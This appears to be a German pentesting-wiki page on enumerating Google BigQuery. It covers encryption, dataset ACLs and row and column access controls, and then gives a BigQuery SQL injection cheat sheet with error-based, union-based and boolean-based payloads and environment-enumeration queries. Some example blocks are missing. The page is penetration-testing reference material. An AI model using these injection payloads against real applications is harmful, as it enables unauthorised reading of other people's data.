GCP - Bigquery Enum
Grundlegende Informationen
Google Cloud BigQuery ist ein vollständig verwaltetes, serverloses Enterprise-Datenlager, das Funktionen für die Analyse von Petabytes an Daten bietet und somit große Datensätze effizient verarbeitet. Als Platform as a Service (PaaS) bietet es Benutzern Infrastruktur und Tools zur Vereinfachung des Datenmanagements ohne manuelle Überwachung.
Es unterstützt Abfragen mit ANSI SQL. Die Hauptobjekte sind Datensätze, die Tabellen enthalten, die SQL-Daten enthalten.
Verschlüsselung
Standardmäßig wird ein von Google verwalteter Verschlüsselungsschlüssel verwendet, obwohl es möglich ist, einen kundenverwalteten Verschlüsselungsschlüssel (CMEK) zu konfigurieren. Es ist möglich, den Verschlüsselungsschlüssel pro Datensatz und pro Tabelle innerhalb eines Datensatzes anzugeben.
Ablauf
Es ist möglich, eine Ablaufzeit im Datensatz anzugeben, sodass jede neue Tabelle, die in diesem Datensatz erstellt wird, automatisch gelöscht wird, die angegebene Anzahl von Tagen nach der Erstellung.
Externe Quellen
BigQuery ist tief in andere Google-Dienste integriert. Es ist möglich, Daten aus Buckets, Pub/Sub, Google Drive, RDS-Datenbanken usw. zu laden.
Datensatz-ACLs
Wenn ein Datensatz erstellt wird, werden ACLs angehängt, um den Zugriff darauf zu gewähren. Standardmäßig werden Besitzer-Berechtigungen über den Benutzer, der den Datensatz erstellt hat, vergeben und dann Besitzer an die Gruppe projectOwners (Besitzer des Projekts), Schreiber an die Gruppe projectWriters und Leser an die Gruppe projectReaders:
Steuern des Zugriffs auf Tabellenzeilen
Es ist möglich, die Zeilen zu steuern, auf die ein Prinzipal in einer Tabelle zugreifen kann, mithilfe von Zeilenzugriffsrichtlinien. Diese werden innerhalb der Tabelle mithilfe von DDL definiert. Die Zugriffsrichtlinie definiert einen Filter, und nur die übereinstimmenden Zeilen mit diesem Filter sind von den angegebenen Prinzipalen aus zugänglich.
Spaltenzugriffskontrolle
Um den Datenzugriff auf Spaltenebene einzuschränken:
Definieren Sie eine Taxonomie und Richtlinientags. Erstellen und verwalten Sie eine Taxonomie und Richtlinientags für Ihre Daten. https://console.cloud.google.com/bigquery/policy-tags
Optional: Weisen Sie einem oder mehreren Prinzipalen die Rolle Data Catalog Fine-Grained Reader für einen oder mehrere der erstellten Richtlinientags zu.
Weisen Sie Richtlinientags Ihren BigQuery-Spalten zu. Verwenden Sie in BigQuery Schemaannotationen, um einem Richtlinientag jede Spalte zuzuweisen, für die Sie den Zugriff einschränken möchten.
Erzwingen Sie den Zugriff auf die Taxonomie. Das Erzwingen des Zugriffs bewirkt, dass die für alle Richtlinientags in der Taxonomie definierten Zugriffsbeschränkungen angewendet werden.
Verwalten Sie den Zugriff auf die Richtlinientags. Verwenden Sie Identity and Access Management (IAM)-Richtlinien, um den Zugriff auf jeden Richtlinientag zu beschränken. Die Richtlinie ist für jede Spalte wirksam, die dem Richtlinientag gehört.
Wenn ein Benutzer versucht, auf Spaltendaten zur Abfragezeit zuzugreifen, überprüft BigQuery den Spaltenrichtlinientag und seine Richtlinie, um festzustellen, ob der Benutzer berechtigt ist, auf die Daten zuzugreifen.
Zusammenfassend können Sie den Zugriff auf bestimmte Spalten für bestimmte Benutzer einschränken, indem Sie einen Tag zur Spalte im Schema hinzufügen und den Zugriff der Benutzer auf den Tag einschränken, indem Sie den Zugriff auf die Taxonomie des Tags erzwingen.
Um den Zugriff auf die Taxonomie zu erzwingen, muss der Dienst aktiviert werden:
Es ist möglich, die Tags von Spalten mit anzusehen:
Auflistung
BigQuery SQL Injection
Für weitere Informationen können Sie den Blog-Beitrag überprüfen: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hier werden nur einige Details gegeben.
Kommentare:
select 1#von hier aus funktioniert es nicht
select 1/*zwischen denen funktioniert es nicht*/
Aber nur der erste funktioniert nichtselect 1--von hier aus funktioniert es nicht
Erhalten Sie Informationen über die Umgebung wie:
Aktueller Benutzer:
select session_user()
Projekt-ID:
select @@project_id
Zeilen verketten:
Alle Tabellennamen:
string_agg(table_name, ', ')
Erhalten Sie Datensätze, Tabellen und Spalten-Namen:
Projekt- und Datensatz-Name:
Spalten und Tabellennamen aller Tabellen des Datensatzes:
Andere Datensätze im selben Projekt:
SQL Injection Typen:
Fehlerbasiert - Casting:
select CAST(@@project_id AS INT64)
Fehlerbasiert - Division durch Null:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Union-basiert (Sie müssen ALL in BigQuery verwenden):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Boolean-basiert:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potenziell zeitbasiert - Verwendung von öffentlichen Datensätzen als Beispiel:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Dokumentation:
Liste aller Funktionen: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Skriptanweisungen: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Privilege Escalation & Post Exploitation
GCP - BigQuery PrivescPersistenz
GCP - BigQuery PersistenceReferenzen
Last updated